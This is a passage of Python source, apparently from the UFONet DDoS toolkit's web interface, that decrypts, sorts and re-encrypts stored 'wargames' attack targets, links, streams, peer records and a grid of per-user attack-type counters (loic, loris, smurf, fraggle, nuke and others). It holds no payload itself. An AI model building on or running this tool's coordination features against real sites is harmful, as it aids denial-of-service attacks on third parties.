  4685. job_estimated = l.rsplit(sep, 1)[1]
  4686. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  4687. f.write(l)
  4688. f.close()
  4689. except:
  4690. pass
  4691. if page == "/cmd_job_cancel_all_update":
  4692. if not os.path.exists('/tmp/out'):
  4693. open('/tmp/out', 'w').close()
  4694. with open('/tmp/out', 'r') as f:
  4695. self.pages["/cmd_job_cancel_all_update"] = "<pre>"+f.read()+"<pre>"
  4696. if page == "/cmd_job_filter":
  4697. try:
  4698. job_filter = pGet["filter"]
  4699. job_key = pGet["key"]
  4700. except:
  4701. job_filter = "creation"
  4702. job_key = str(self.crypto_key)
  4703. self.pages["/cmd_job_filter"] = "<pre>Ordering wargames by: "+job_filter+"</pre>"
  4704. nodec_text = "KEY?"
  4705. try:
  4706. wargames_items=[]
  4707. with open(self.wargames_file) as f:
  4708. ls = f.read().splitlines()
  4709. f.close()
  4710. f = open(self.wargames_file,"w")
  4711. for j in ls:
  4712. if wargames_msg_sep in j:
  4713. m = j.split(wargames_msg_sep)
  4714. wargames_creation = m[0] # creation date
  4715. self.decrypt(job_key, wargames_creation)
  4716. if self.decryptedtext:
  4717. wargames_creation = self.decryptedtext
  4718. else:
  4719. wargames_creation = nodec_text
  4720. self.decryptedtext = "" # clean decryptedtext buffer
  4721. wargames_target = m[1] # target
  4722. self.decrypt(job_key, wargames_target)
  4723. if self.decryptedtext:
  4724. wargames_target = self.decryptedtext
  4725. if wargames_target.startswith("www."):
  4726. wargames_target = wargames_target.replace("www.","")
  4727. else:
  4728. wargames_target = nodec_text
  4729. self.decryptedtext = "" # clean decryptedtext buffer
  4730. wargames_estimated = m[2] # estimated date
  4731. self.decrypt(job_key, wargames_estimated)
  4732. if self.decryptedtext:
  4733. wargames_estimated = self.decryptedtext
  4734. else:
  4735. wargames_estimated = nodec_text
  4736. self.decryptedtext = "" # clean decryptedtext buffer
  4737. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  4738. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  4739. wargames_items.append([wargames_creation,wargames_target,wargames_estimated])
  4740. if job_filter == "creation":
  4741. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  4742. elif job_filter == "target":
  4743. wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target
  4744. elif job_filter == "estimated":
  4745. wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated
  4746. else:
  4747. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  4748. for i in wargames_items:
  4749. wargames_creation = i[0]
  4750. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4751. self.encrypt(job_key, wargames_creation)
  4752. if self.encryptedtext:
  4753. wargames_creation = self.encryptedtext
  4754. self.encryptedtext = "" # clean encryptedtext buffer
  4755. wargames_target = str(i[1])
  4756. self.encrypt(job_key, wargames_target)
  4757. if self.encryptedtext:
  4758. wargames_target = self.encryptedtext
  4759. self.encryptedtext = "" # clean encryptedtext buffer
  4760. wargames_estimated = i[2]
  4761. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4762. self.encrypt(job_key, wargames_estimated)
  4763. if self.encryptedtext:
  4764. wargames_estimated = self.encryptedtext
  4765. self.encryptedtext = "" # clean encryptedtext buffer
  4766. l = str(wargames_creation) + wargames_msg_sep + str(wargames_target) + wargames_msg_sep + str(wargames_estimated)
  4767. f.write(l + os.linesep)
  4768. f.close()
  4769. except:
  4770. pass
  4771. if page == "/cmd_job_filter_update":
  4772. if not os.path.exists('/tmp/out'):
  4773. open('/tmp/out', 'w').close()
  4774. with open('/tmp/out', 'r') as f:
  4775. self.pages["/cmd_job_filter_update"] = "<pre>"+f.read()+"<pre>"
  4776. if page == "/cmd_link_filter":
  4777. try:
  4778. link_filter = pGet["filter"]
  4779. link_key = pGet["key"]
  4780. except:
  4781. link_filter = "creation"
  4782. link_key = str(self.crypto_key)
  4783. self.pages["/cmd_link_filter"] = "<pre>Ordering links by: "+link_filter+"</pre>"
  4784. nodec_text = "KEY?"
  4785. try:
  4786. links_items=[]
  4787. with open(self.links_file) as f:
  4788. ls = f.read().splitlines()
  4789. f.close()
  4790. f = open(self.links_file,"w")
  4791. for j in ls:
  4792. if links_msg_sep in j:
  4793. m = j.split(links_msg_sep)
  4794. link_creation = m[0] # creation date
  4795. self.decrypt(link_key, link_creation)
  4796. if self.decryptedtext:
  4797. link_creation = self.decryptedtext
  4798. else:
  4799. link_creation = nodec_text
  4800. self.decryptedtext = "" # clean decryptedtext buffer
  4801. link_url = m[1] # url
  4802. self.decrypt(link_key, link_url)
  4803. if self.decryptedtext:
  4804. link_url = self.decryptedtext
  4805. if link_url.startswith("www."):
  4806. link_url = link_url.replace("www.","")
  4807. else:
  4808. link_url = nodec_text
  4809. self.decryptedtext = "" # clean decryptedtext buffer
  4810. link_topic = m[2] # topic
  4811. self.decrypt(link_key, link_topic)
  4812. if self.decryptedtext:
  4813. link_topic = self.decryptedtext
  4814. else:
  4815. link_topic = nodec_text
  4816. self.decryptedtext = "" # clean decryptedtext buffer
  4817. link_creation = strptime(link_creation, "%d-%m-%Y %H:%M:%S")
  4818. links_items.append([link_creation,link_url,link_topic])
  4819. if link_filter == "creation":
  4820. links_items=sorted(links_items,key=lambda x:x[0]) # sorted by creation
  4821. elif link_filter == "url":
  4822. links_items=sorted(links_items,key=lambda x:x[1]) # sorted by url
  4823. elif link_filter == "topic":
  4824. links_items=sorted(links_items,key=lambda x:x[2]) # sorted by topic
  4825. else:
  4826. links_items=sorted(links_items,key=lambda x:x[0]) # sorted by creation
  4827. for i in links_items:
  4828. link_creation = i[0]
  4829. link_creation = strftime("%d-%m-%Y %H:%M:%S", link_creation)
  4830. self.encrypt(link_key, link_creation)
  4831. if self.encryptedtext:
  4832. link_creation = self.encryptedtext
  4833. else:
  4834. link_creation = nodec_text
  4835. self.encryptedtext = "" # clean encryptedtext buffer
  4836. link_url = str(i[1])
  4837. self.encrypt(link_key, link_url)
  4838. if self.encryptedtext:
  4839. link_url = self.encryptedtext
  4840. else:
  4841. link_url = nodec_text
  4842. self.encryptedtext = "" # clean encryptedtext buffer
  4843. link_topic = str(i[2])
  4844. self.encrypt(link_key, link_topic)
  4845. if self.encryptedtext:
  4846. link_topic = self.encryptedtext
  4847. else:
  4848. link_topic = nodec_text
  4849. self.encryptedtext = "" # clean encryptedtext buffer
  4850. l = str(link_creation) + links_msg_sep + str(link_url) + links_msg_sep + str(link_topic)
  4851. f.write(l + os.linesep)
  4852. f.close()
  4853. except:
  4854. pass
  4855. if page == "/cmd_link_filter_update":
  4856. if not os.path.exists('/tmp/out'):
  4857. open('/tmp/out', 'w').close()
  4858. with open('/tmp/out', 'r') as f:
  4859. self.pages["/cmd_link_filter_update"] = "<pre>"+f.read()+"<pre>"
  4860. if page == "/cmd_stream_filter":
  4861. try:
  4862. stream_filter = pGet["filter"]
  4863. stream_key = pGet["key"]
  4864. except:
  4865. stream_filter = "creation"
  4866. stream_key = str(self.crypto_key)
  4867. self.pages["/cmd_stream_filter"] = "<pre>Ordering streams by: "+stream_filter+"</pre>"
  4868. nodec_text = "KEY?"
  4869. try:
  4870. streams_items=[]
  4871. with open(self.streams_file) as f:
  4872. ls = f.read().splitlines()
  4873. f.close()
  4874. f = open(self.streams_file,"w")
  4875. for j in ls:
  4876. if streams_msg_sep in j:
  4877. m = j.split(streams_msg_sep)
  4878. stream_creation = m[0] # creation date
  4879. self.decrypt(stream_key, stream_creation)
  4880. if self.decryptedtext:
  4881. stream_creation = self.decryptedtext
  4882. else:
  4883. stream_creation = nodec_text
  4884. self.decryptedtext = "" # clean decryptedtext buffer
  4885. stream_url = m[1] # url
  4886. self.decrypt(stream_key, stream_url)
  4887. if self.decryptedtext:
  4888. stream_url = self.decryptedtext
  4889. if stream_url.startswith("www."):
  4890. stream_url = stream_url.replace("www.","")
  4891. else:
  4892. stream_url = nodec_text
  4893. self.decryptedtext = "" # clean decryptedtext buffer
  4894. stream_topic = m[2] # topic
  4895. self.decrypt(stream_key, stream_topic)
  4896. if self.decryptedtext:
  4897. stream_topic = self.decryptedtext
  4898. else:
  4899. stream_topic = nodec_text
  4900. self.decryptedtext = "" # clean decryptedtext buffer
  4901. stream_creation = strptime(stream_creation, "%d-%m-%Y %H:%M:%S")
  4902. streams_items.append([stream_creation,stream_url,stream_topic])
  4903. if stream_filter == "creation":
  4904. streams_items=sorted(streams_items,key=lambda x:x[0]) # sorted by creation
  4905. elif stream_filter == "url":
  4906. streams_items=sorted(streams_items,key=lambda x:x[1]) # sorted by url
  4907. elif stream_filter == "topic":
  4908. streams_items=sorted(streams_items,key=lambda x:x[2]) # sorted by topic
  4909. else:
  4910. streams_items=sorted(streams_items,key=lambda x:x[0]) # sorted by creation
  4911. for i in streams_items:
  4912. stream_creation = i[0]
  4913. stream_creation = strftime("%d-%m-%Y %H:%M:%S", stream_creation)
  4914. self.encrypt(stream_key, stream_creation)
  4915. if self.encryptedtext:
  4916. stream_creation = self.encryptedtext
  4917. else:
  4918. stream_creation = nodec_text
  4919. self.encryptedtext = "" # clean encryptedtext buffer
  4920. stream_url = str(i[1])
  4921. self.encrypt(stream_key, stream_url)
  4922. if self.encryptedtext:
  4923. stream_url = self.encryptedtext
  4924. else:
  4925. stream_url = nodec_text
  4926. self.encryptedtext = "" # clean encryptedtext buffer
  4927. stream_topic = str(i[2])
  4928. self.encrypt(stream_key, stream_topic)
  4929. if self.encryptedtext:
  4930. stream_topic = self.encryptedtext
  4931. else:
  4932. stream_topic = nodec_text
  4933. self.encryptedtext = "" # clean encryptedtext buffer
  4934. l = str(stream_creation) + streams_msg_sep + str(stream_url) + streams_msg_sep + str(stream_topic)
  4935. f.write(l + os.linesep)
  4936. f.close()
  4937. except:
  4938. pass
  4939. if page == "/cmd_stream_filter_update":
  4940. if not os.path.exists('/tmp/out'):
  4941. open('/tmp/out', 'w').close()
  4942. with open('/tmp/out', 'r') as f:
  4943. self.pages["/cmd_stream_filter_update"] = "<pre>"+f.read()+"<pre>"
  4944. if page == "/cmd_globalnet_filter":
  4945. try:
  4946. globalnet_filter = pGet["filter"]
  4947. globalnet_key = pGet["key"]
  4948. except:
  4949. globalnet_filter = "owner"
  4950. globalnet_key = str(self.crypto_key)
  4951. self.pages["/cmd_globalnet_filter"] = "<pre>Ordering Global.Net by: "+globalnet_filter+"</pre>"
  4952. nodec_text = "KEY?"
  4953. try:
  4954. globalnet_items=[]
  4955. with open(self.globalnet_file) as f:
  4956. ls = f.read().splitlines()
  4957. f.close()
  4958. f = open(self.globalnet_file,"w")
  4959. for j in ls:
  4960. if globalnet_msg_sep in j:
  4961. m = j.split(globalnet_msg_sep)
  4962. globalnet_owner = m[0] # owner
  4963. self.decrypt(globalnet_key, globalnet_owner)
  4964. if self.decryptedtext:
  4965. globalnet_owner = self.decryptedtext
  4966. else:
  4967. globalnet_owner = nodec_text
  4968. self.decryptedtext = "" # clean decryptedtext buffer
  4969. globalnet_comment = m[1] # comment
  4970. self.decrypt(globalnet_key, globalnet_comment)
  4971. if self.decryptedtext:
  4972. globalnet_comment = self.decryptedtext
  4973. else:
  4974. globalnet_comment = nodec_text
  4975. self.decryptedtext = "" # clean decryptedtext buffer
  4976. globalnet_warp = m[2] # warp
  4977. self.decrypt(globalnet_key, globalnet_warp)
  4978. if self.decryptedtext:
  4979. globalnet_warp = self.decryptedtext
  4980. else:
  4981. globalnet_warp = nodec_text
  4982. self.decryptedtext = "" # clean decryptedtext buffer
  4983. globalnet_ip = m[3] # ip
  4984. self.decrypt(globalnet_key, globalnet_ip)
  4985. if self.decryptedtext:
  4986. globalnet_ip = self.decryptedtext
  4987. else:
  4988. globalnet_ip = nodec_text
  4989. self.decryptedtext = "" # clean decryptedtext buffer
  4990. globalnet_items.append([globalnet_owner,globalnet_comment,globalnet_warp,globalnet_ip])
  4991. if globalnet_filter == "owner":
  4992. globalnet_items=sorted(globalnet_items,key=lambda x:x[0]) # sorted by owner
  4993. elif globalnet_filter == "comment":
  4994. globalnet_items=sorted(globalnet_items,key=lambda x:x[1]) # sorted by comment
  4995. elif globalnet_filter == "warp":
  4996. globalnet_items=sorted(globalnet_items,key=lambda x:x[2]) # sorted by warp
  4997. elif globalnet_filter == "ip":
  4998. globalnet_items=sorted(globalnet_items,key=lambda x:x[3]) # sorted by ip
  4999. else:
  5000. globalnet_items=sorted(globalnet_items,key=lambda x:x[0]) # sorted by owner
  5001. for i in globalnet_items:
  5002. globalnet_owner = str(i[0])
  5003. self.encrypt(globalnet_key, globalnet_owner)
  5004. if self.encryptedtext:
  5005. globalnet_owner = self.encryptedtext
  5006. else:
  5007. globalnet_owner = nodec_text
  5008. self.encryptedtext = "" # clean encryptedtext buffer
  5009. globalnet_comment = str(i[1])
  5010. self.encrypt(globalnet_key, globalnet_comment)
  5011. if self.encryptedtext:
  5012. globalnet_comment = self.encryptedtext
  5013. else:
  5014. globalnet_comment = nodec_text
  5015. self.encryptedtext = "" # clean encryptedtext buffer
  5016. globalnet_warp = str(i[2])
  5017. self.encrypt(globalnet_key, globalnet_warp)
  5018. if self.encryptedtext:
  5019. globalnet_warp = self.encryptedtext
  5020. else:
  5021. globalnet_warp = nodec_text
  5022. self.encryptedtext = "" # clean encryptedtext buffer
  5023. globalnet_ip = str(i[3])
  5024. self.encrypt(globalnet_key, globalnet_ip)
  5025. if self.encryptedtext:
  5026. globalnet_ip = self.encryptedtext
  5027. else:
  5028. globalnet_ip = nodec_text
  5029. self.encryptedtext = "" # clean encryptedtext buffer
  5030. l = str(globalnet_owner) + globalnet_msg_sep + str(globalnet_comment) + globalnet_msg_sep + str(globalnet_warp) + globalnet_msg_sep + str(globalnet_ip)
  5031. f.write(l + os.linesep)
  5032. f.close()
  5033. except:
  5034. pass
  5035. if page == "/cmd_globalnet_filter_update":
  5036. if not os.path.exists('/tmp/out'):
  5037. open('/tmp/out', 'w').close()
  5038. with open('/tmp/out', 'r') as f:
  5039. self.pages["/cmd_globalnet_filter_update"] = "<pre>"+f.read()+"<pre>"
  5040. if page == "/cmd_grid_filter":
  5041. try:
  5042. grid_filter = pGet["filter"]
  5043. grid_key = pGet["key"]
  5044. except:
  5045. grid_filter = "missions" # default grid order by
  5046. grid_key = str(self.crypto_key)
  5047. self.pages["/cmd_grid_filter"] = "<pre>Ordering grid by: "+grid_filter+"</pre>"
  5048. nodec_text = "KEY?"
  5049. nodec_num = 0
  5050. try:
  5051. grid_items=[]
  5052. with open(self.grid_file) as f:
  5053. ls = f.read().splitlines()
  5054. f.close()
  5055. f = open(self.grid_file,"w")
  5056. for j in ls:
  5057. if grid_msg_sep in j:
  5058. version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2)
  5059. m = j.split(grid_msg_sep)
  5060. grid_nickname = m[0] # nickname
  5061. self.decrypt(grid_key, grid_nickname)
  5062. if self.decryptedtext:
  5063. grid_nickname = str(self.decryptedtext)
  5064. else:
  5065. grid_nickname = nodec_text
  5066. self.decryptedtext = "" # clean decryptedtext buffer
  5067. grid_ranking = m[1] # ranking
  5068. self.decrypt(grid_key, grid_ranking)
  5069. if self.decryptedtext:
  5070. try:
  5071. grid_ranking = int(self.decryptedtext)
  5072. except:
  5073. grid_ranking = nodec_num
  5074. else:
  5075. grid_ranking = nodec_num
  5076. self.decryptedtext = "" # clean decryptedtext buffer
  5077. grid_totalchargo = m[2] # total chargo
  5078. self.decrypt(grid_key, grid_totalchargo)
  5079. if self.decryptedtext:
  5080. try:
  5081. grid_totalchargo = int(self.decryptedtext)
  5082. except:
  5083. grid_totalchargo = nodec_num
  5084. else:
  5085. grid_totalchargo = nodec_num
  5086. self.decryptedtext = "" # clean decryptedtext buffer
  5087. grid_dorking = m[3] # dorking
  5088. self.decrypt(grid_key, grid_dorking)
  5089. if self.decryptedtext:
  5090. try:
  5091. grid_dorking = int(self.decryptedtext)
  5092. except:
  5093. grid_dorking = nodec_num
  5094. else:
  5095. grid_dorking = nodec_num
  5096. self.decryptedtext = "" # clean decryptedtext buffer
  5097. grid_transferred = m[4] # transferred
  5098. self.decrypt(grid_key, grid_transferred)
  5099. if self.decryptedtext:
  5100. try:
  5101. grid_transferred = int(self.decryptedtext)
  5102. except:
  5103. grid_transferred = nodec_num
  5104. else:
  5105. grid_transferred = nodec_num
  5106. self.decryptedtext = "" # clean decryptedtext buffer
  5107. grid_maxchargo = m[5] # maxchargo
  5108. self.decrypt(grid_key, grid_maxchargo)
  5109. if self.decryptedtext:
  5110. try:
  5111. grid_maxchargo = int(self.decryptedtext)
  5112. except:
  5113. grid_maxchargo = nodec_num
  5114. else:
  5115. grid_maxchargo = nodec_num
  5116. self.decryptedtext = "" # clean decryptedtext buffer
  5117. grid_missions = m[6] # missions
  5118. self.decrypt(grid_key, grid_missions)
  5119. if self.decryptedtext:
  5120. try:
  5121. grid_missions = int(self.decryptedtext)
  5122. except:
  5123. grid_missions = nodec_num
  5124. else:
  5125. grid_missions = nodec_num
  5126. self.decryptedtext = "" # clean decryptedtext buffer
  5127. grid_attacks = m[7] # attacks
  5128. self.decrypt(grid_key, grid_attacks)
  5129. if self.decryptedtext:
  5130. try:
  5131. grid_attacks = int(self.decryptedtext)
  5132. except:
  5133. grid_attacks = nodec_num
  5134. else:
  5135. grid_attacks = nodec_num
  5136. self.decryptedtext = "" # clean decryptedtext buffer
  5137. grid_loic = m[8] # loic
  5138. self.decrypt(grid_key, grid_loic)
  5139. if self.decryptedtext:
  5140. try:
  5141. grid_loic = int(self.decryptedtext)
  5142. except:
  5143. grid_loic = nodec_num
  5144. else:
  5145. grid_loic = nodec_num
  5146. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  5147. grid_loris = m[9] # loris
  5148. self.decrypt(grid_key, grid_loris)
  5149. if self.decryptedtext:
  5150. try:
  5151. grid_loris = int(self.decryptedtext)
  5152. except:
  5153. grid_loris = nodec_num
  5154. else:
  5155. grid_loris = nodec_num
  5156. self.decryptedtext = "" # clean decryptedtext buffer
  5157. else:
  5158. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  5159. self.decrypt(grid_key, grid_loris)
  5160. if self.decryptedtext:
  5161. try:
  5162. grid_loris = int(self.decryptedtext)
  5163. except:
  5164. grid_loris = nodec_num
  5165. else:
  5166. grid_loris = nodec_num
  5167. self.decryptedtext = "" # clean decryptedtext buffer
  5168. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  5169. grid_ufosyn = m[10] # ufosyn
  5170. self.decrypt(grid_key, grid_ufosyn)
  5171. if self.decryptedtext:
  5172. try:
  5173. grid_ufosyn = int(self.decryptedtext)
  5174. except:
  5175. grid_ufosyn = nodec_num
  5176. else:
  5177. grid_ufosyn = nodec_num
  5178. self.decryptedtext = "" # clean decryptedtext buffer
  5179. else:
  5180. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  5181. self.decrypt(grid_key, grid_ufosyn)
  5182. if self.decryptedtext:
  5183. try:
  5184. grid_ufosyn = int(self.decryptedtext)
  5185. except:
  5186. grid_ufosyn = nodec_num
  5187. else:
  5188. grid_ufosyn = nodec_num
  5189. self.decryptedtext = "" # clean decryptedtext buffer
  5190. if version > 17 or version == 17 or version == 16 or version == 15:
  5191. grid_spray = m[11] # spray
  5192. self.decrypt(grid_key, grid_spray)
  5193. if self.decryptedtext:
  5194. try:
  5195. grid_spray = int(self.decryptedtext)
  5196. except:
  5197. grid_spray = nodec_num
  5198. else:
  5199. grid_spray = nodec_num
  5200. self.decryptedtext = "" # clean decryptedtext buffer
  5201. else:
  5202. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  5203. self.decrypt(grid_key, grid_spray)
  5204. if self.decryptedtext:
  5205. try:
  5206. grid_spray = int(self.decryptedtext)
  5207. except:
  5208. grid_spray = nodec_num
  5209. else:
  5210. grid_spray = nodec_num
  5211. self.decryptedtext = "" # clean decryptedtext buffer
  5212. if version > 17 or version == 17 or version == 16 or version == 15:
  5213. grid_smurf = m[12] # smurf
  5214. self.decrypt(grid_key, grid_smurf)
  5215. if self.decryptedtext:
  5216. try:
  5217. grid_smurf = int(self.decryptedtext)
  5218. except:
  5219. grid_smurf = nodec_num
  5220. else:
  5221. grid_smurf = nodec_num
  5222. self.decryptedtext = "" # clean decryptedtext buffer
  5223. else:
  5224. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  5225. self.decrypt(grid_key, grid_smurf)
  5226. if self.decryptedtext:
  5227. try:
  5228. grid_smurf = int(self.decryptedtext)
  5229. except:
  5230. grid_smurf = nodec_num
  5231. else:
  5232. grid_smurf = nodec_num
  5233. self.decryptedtext = "" # clean decryptedtext buffer
  5234. if version > 17 or version == 17 or version == 16 or version == 15:
  5235. grid_xmas = m[13] # xmas
  5236. self.decrypt(grid_key, grid_xmas)
  5237. if self.decryptedtext:
  5238. try:
  5239. grid_xmas = int(self.decryptedtext)
  5240. except:
  5241. grid_xmas = nodec_num
  5242. else:
  5243. grid_xmas = nodec_num
  5244. self.decryptedtext = "" # clean decryptedtext buffer
  5245. else:
  5246. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  5247. self.decrypt(grid_key, grid_xmas)
  5248. if self.decryptedtext:
  5249. try:
  5250. grid_xmas = int(self.decryptedtext)
  5251. except:
  5252. grid_xmas = nodec_num
  5253. else:
  5254. grid_xmas = nodec_num
  5255. self.decryptedtext = "" # clean decryptedtext buffer
  5256. if version > 17 or version == 17 or version == 16:
  5257. grid_nuke = m[14] # nuke
  5258. self.decrypt(grid_key, grid_nuke)
  5259. if self.decryptedtext:
  5260. try:
  5261. grid_nuke = int(self.decryptedtext)
  5262. except:
  5263. grid_nuke = nodec_num
  5264. else:
  5265. grid_nuke = nodec_num
  5266. self.decryptedtext = "" # clean decryptedtext buffer
  5267. else:
  5268. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  5269. self.decrypt(grid_key, grid_nuke)
  5270. if self.decryptedtext:
  5271. try:
  5272. grid_nuke = int(self.decryptedtext)
  5273. except:
  5274. grid_nuke = nodec_num
  5275. else:
  5276. grid_nuke = nodec_num
  5277. self.decryptedtext = "" # clean decryptedtext buffer
  5278. if version > 17 or version == 17:
  5279. grid_tachyon = m[15] # tachyon
  5280. self.decrypt(grid_key, grid_tachyon)
  5281. if self.decryptedtext:
  5282. try:
  5283. grid_tachyon = int(self.decryptedtext)
  5284. except:
  5285. grid_tachyon = nodec_num
  5286. else:
  5287. grid_tachyon = nodec_num
  5288. self.decryptedtext = "" # clean decryptedtext buffer
  5289. else:
  5290. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  5291. self.decrypt(grid_key, grid_tachyon)
  5292. if self.decryptedtext:
  5293. try:
  5294. grid_tachyon = int(self.decryptedtext)
  5295. except:
  5296. grid_tachyon = nodec_num
  5297. else:
  5298. grid_tachyon = nodec_num
  5299. self.decryptedtext = "" # clean decryptedtext buffer
  5300. if version > 17: # current version = 26
  5301. grid_monlist = m[16] # monlist
  5302. self.decrypt(grid_key, grid_monlist)
  5303. if self.decryptedtext:
  5304. try:
  5305. grid_monlist = int(self.decryptedtext)
  5306. except:
  5307. grid_monlist = nodec_num
  5308. else:
  5309. grid_monlist = nodec_num
  5310. self.decryptedtext = "" # clean decryptedtext buffer
  5311. grid_fraggle = m[17] # fraggle
  5312. self.decrypt(grid_key, grid_fraggle)
  5313. if self.decryptedtext:
  5314. try:
  5315. grid_fraggle = int(self.decryptedtext)
  5316. except:
  5317. grid_fraggle = nodec_num
  5318. else:
  5319. grid_fraggle = nodec_num
  5320. self.decryptedtext = "" # clean decryptedtext buffer
  5321. grid_sniper = m[18] # sniper
  5322. self.decrypt(grid_key, grid_sniper)
  5323. if self.decryptedtext:
  5324. try:
  5325. grid_sniper = int(self.decryptedtext)
  5326. except:
  5327. grid_sniper = nodec_num
  5328. else:
  5329. grid_sniper = nodec_num
  5330. self.decryptedtext = "" # clean decryptedtext buffer
  5331. grid_ufoack = m[19] # ufoack
  5332. self.decrypt(grid_key, grid_ufoack)
  5333. if self.decryptedtext:
  5334. try:
  5335. grid_ufoack = int(self.decryptedtext)
  5336. except:
  5337. grid_ufoack = nodec_num
  5338. else:
  5339. grid_ufoack = nodec_num
  5340. self.decryptedtext = "" # clean decryptedtext buffer
  5341. grid_uforst = m[20] # uforst
  5342. self.decrypt(grid_key, grid_uforst)
  5343. if self.decryptedtext:
  5344. try:
  5345. grid_uforst = int(self.decryptedtext)
  5346. except:
  5347. grid_uforst = nodec_num
  5348. else:
  5349. grid_uforst = nodec_num
  5350. self.decryptedtext = "" # clean decryptedtext buffer
  5351. grid_droper = m[21] # droper
  5352. self.decrypt(grid_key, grid_droper)
  5353. if self.decryptedtext:
  5354. try:
  5355. grid_droper = int(self.decryptedtext)
  5356. except:
  5357. grid_droper = nodec_num
  5358. else:
  5359. grid_droper = nodec_num
  5360. self.decryptedtext = "" # clean decryptedtext buffer
  5361. grid_overlap = m[22] # overlap
  5362. self.decrypt(grid_key, grid_overlap)
  5363. if self.decryptedtext:
  5364. try:
  5365. grid_overlap = int(self.decryptedtext)
  5366. except:
  5367. grid_overlap = nodec_num
  5368. else:
  5369. grid_overlap = nodec_num
  5370. self.decryptedtext = "" # clean decryptedtext buffer
  5371. grid_pinger = m[23] # pinger
  5372. self.decrypt(grid_key, grid_pinger)
  5373. if self.decryptedtext:
  5374. try:
  5375. grid_pinger = int(self.decryptedtext)
  5376. except:
  5377. grid_pinger = nodec_num
  5378. else:
  5379. grid_pinger = nodec_num
  5380. self.decryptedtext = "" # clean decryptedtext buffer
  5381. grid_ufoudp = m[24] # ufoudp
  5382. self.decrypt(grid_key, grid_ufoudp)
  5383. if self.decryptedtext:
  5384. try:
  5385. grid_ufoudp = int(self.decryptedtext)
  5386. except:
  5387. grid_ufoudp = nodec_num
  5388. else:
  5389. grid_ufoudp = nodec_num
  5390. self.decryptedtext = "" # clean decryptedtext buffer
  5391. else:
  5392. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  5393. self.decrypt(grid_key, grid_monlist)
  5394. if self.decryptedtext:
  5395. try:
  5396. grid_monlist = int(self.decryptedtext)
  5397. except:
  5398. grid_monlist = nodec_num
  5399. else:
  5400. grid_monlist = nodec_num
  5401. self.decryptedtext = "" # clean decryptedtext buffer
  5402. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not fraggle present
  5403. self.decrypt(grid_key, grid_fraggle)
  5404. if self.decryptedtext:
  5405. try:
  5406. grid_fraggle = int(self.decryptedtext)
  5407. except:
  5408. grid_fraggle = nodec_num
  5409. else:
  5410. grid_fraggle = nodec_num
  5411. self.decryptedtext = "" # clean decryptedtext buffer
  5412. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not sniper present
  5413. self.decrypt(grid_key, grid_sniper)
  5414. if self.decryptedtext:
  5415. try:
  5416. grid_sniper = int(self.decryptedtext)
  5417. except:
  5418. grid_sniper = nodec_num
  5419. else:
  5420. grid_sniper = nodec_num
  5421. self.decryptedtext = "" # clean decryptedtext buffer
  5422. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoack present
  5423. self.decrypt(grid_key, grid_ufoack)
  5424. if self.decryptedtext:
  5425. try:
  5426. grid_ufoack = int(self.decryptedtext)
  5427. except:
  5428. grid_ufoack = nodec_num
  5429. else:
  5430. grid_ufoack = nodec_num
  5431. self.decryptedtext = "" # clean decryptedtext buffer
  5432. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not uforst present
  5433. self.decrypt(grid_key, grid_uforst)
  5434. if self.decryptedtext:
  5435. try:
  5436. grid_uforst = int(self.decryptedtext)
  5437. except:
  5438. grid_uforst = nodec_num
  5439. else:
  5440. grid_uforst = nodec_num
  5441. self.decryptedtext = "" # clean decryptedtext buffer
  5442. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not droper present
  5443. self.decrypt(grid_key, grid_droper)
  5444. if self.decryptedtext:
  5445. try:
  5446. grid_droper = int(self.decryptedtext)
  5447. except:
  5448. grid_droper = nodec_num
  5449. else:
  5450. grid_droper = nodec_num
  5451. self.decryptedtext = "" # clean decryptedtext buffer
  5452. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not overlap present
  5453. self.decrypt(grid_key, grid_overlap)
  5454. if self.decryptedtext:
  5455. try:
  5456. grid_overlap = int(self.decryptedtext)
  5457. except:
  5458. grid_overlap = nodec_num
  5459. else:
  5460. grid_overlap = nodec_num
  5461. self.decryptedtext = "" # clean decryptedtext buffer
